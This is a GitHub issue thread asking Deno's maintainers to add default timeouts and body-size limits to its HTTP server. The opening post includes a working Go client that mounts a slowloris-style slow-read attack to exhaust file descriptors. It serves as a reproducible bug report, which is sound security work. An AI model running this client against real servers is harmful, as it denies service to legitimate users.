Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Default timeouts and size limits for Deno.serve #3515

Open
anjmao opened this issue Dec 17, 2019 · 7 comments
Open

Default timeouts and size limits for Deno.serve #3515

anjmao opened this issue Dec 17, 2019 · 7 comments
Labels
ext/http related to ext/http feat new feature (which has been agreed to/accepted)

Comments

@anjmao
Copy link

anjmao commented Dec 17, 2019

Deno tries to have similar standard library as Go which is great, but... Keep in mind that event Go authors made some mistakes when initially developed std. For example by default HTTP server and client doesn't add any timeouts. In order to have production ready HTTP server in Go you would want to add Read/Write timeouts.

s := &http.Server{
	Addr:           ":8080",
	Handler:        myHandler,
	ReadTimeout:    10 * time.Second,
	WriteTimeout:   10 * time.Second,
	MaxHeaderBytes: 1 << 20,
}
log.Fatal(s.ListenAndServe())

Back to deno. For now there is only few options available.

interface ServerConfig {
  port: number;
  hostname?: string;
}

Example for slow client attack which creates new TCP connections on the server and by slowly reading response body doesn't close it which would eventually lead to server out of file descriptors errors.

Deno server

import { serve } from "https://deno.land/[email protected]/http/server.ts";
const s = serve({ port: 8000 });
console.log("http://localhost:8000/");

async function main() {
    for await (const req of s) {
        console.log('request:', req);
        const body = new TextEncoder().encode(`Hello World ${Date.now()}\n`);
        req.respond({ body });
        console.log('response:', body.length);
    }
}

main()

Go test client

package main

import (
	"fmt"
	"net/http"
	"time"
)

func main() {
	client := &http.Client{}
	for {
		go func() {
			req, err := http.NewRequest("POST", "http://localhost:8000", nil)
			if err != nil {
				panic(err)
			}
			res, err := client.Do(req)
			if err != nil {
				panic(err)
			}
			defer res.Body.Close()
			// Simulate slow clean attack by reading response body slowly.
			buf := make([]byte, 1)
			for {
				_, err := res.Body.Read(buf)
				if err != nil {
					fmt.Println(err)
					break
				}
				time.Sleep(100 * time.Second)
			}
		}()

		time.Sleep(1 * time.Second)
	}
}

Check established connections with lsof -p <PID>

// 53
deno    19997 anjmao  177u    IPv4 0x35f50d8024691719      0t0      TCP localhost:irdmi->localhost:61961 (ESTABLISHED)
deno    19997 anjmao  178u    IPv4 0x35f50d80249ec3b1      0t0      TCP localhost:irdmi->localhost:61963 (ESTABLISHED)
deno    19997 anjmao  179u    IPv4 0x35f50d80249eb0a1      0t0      TCP localhost:irdmi->localhost:61965 (ESTABLISHED)
deno    19997 anjmao  180u    IPv4 0x35f50d8024a4a0a1      0t0      TCP localhost:irdmi->localhost:61967 (ESTABLISHED)
// 58 
// ...
// 209
@bartlomieju bartlomieju added the feat new feature (which has been agreed to/accepted) label Dec 28, 2019
@F3n67u
Copy link
Contributor

F3n67u commented Jul 31, 2021

@anjmao Can you confirm this is still an issue?

@dkfdkdodkms
Copy link

dkfdkdodkms commented Jul 5, 2023

Anyone know if this is still an issue? Seems like a security risk to me..

@petamoriken
Copy link
Contributor

Does AbortSignal.timeout resolve this issue?

https://developer.mozilla.org/en-US/docs/Web/API/AbortSignal/timeout_static

@dkfdkdodkms
Copy link

I don't believe so, since that would be on the client to do. I appears this issues has been mislabeled as a feature. Instead, this is a significant DOS vulnerability.

@dkfdkdodkms
Copy link

Amazing this has been open since 2019: https://www.cloudflare.com/learning/ddos/ddos-attack-tools/slowloris/

@mmastrac mmastrac added the ext/http related to ext/http label Nov 7, 2023
@lucacasonato
Copy link
Member

lucacasonato commented Sep 4, 2024

Deno.serve should have default limits for both accept timeout, TLS handshake timeout, and header read timeout, and response write timeout.

Deno.serve should also have default size limits for req.text, req.bytes, req.arrayBuffer, req.formData, and req.blob. When a user makes a request with a larger body than this default value, we'd error the request. req.body would not be subject to these limits.

The user could customize both timeouts and the size limit in Deno.serve:

Deno.serve({
  maxBodySize: 16 * 1024 * 1024, // 16MiB,
  acceptTimeout: 10000, // 10s
  tlsHandshakeTimeout: 20000, // 20s
  headerReadTimeout: 10000, // 10s,
  responseWriteTimeout: null, // no default
});

@lucacasonato lucacasonato reopened this Sep 4, 2024
@lucacasonato lucacasonato added this to the 2.0.0 milestone Sep 4, 2024
@lucacasonato lucacasonato changed the title HTTP Read/Write timeouts Default timeouts and size limits for Deno.serve Sep 4, 2024
@bartlomieju bartlomieju modified the milestones: 2.0.0, 2.1.0 Sep 6, 2024
@fonteneu
Copy link

fonteneu commented Nov 3, 2024

Timeouts for TCP are similarly missing, making Deno a complete no-go for secure and robust networking applications

@bartlomieju bartlomieju modified the milestones: 2.1.0, 2.2.0 Nov 12, 2024
@bartlomieju bartlomieju removed this from the 2.2.0 milestone Jan 30, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
ext/http related to ext/http feat new feature (which has been agreed to/accepted)
Projects
None yet
Development

No branches or pull requests

8 participants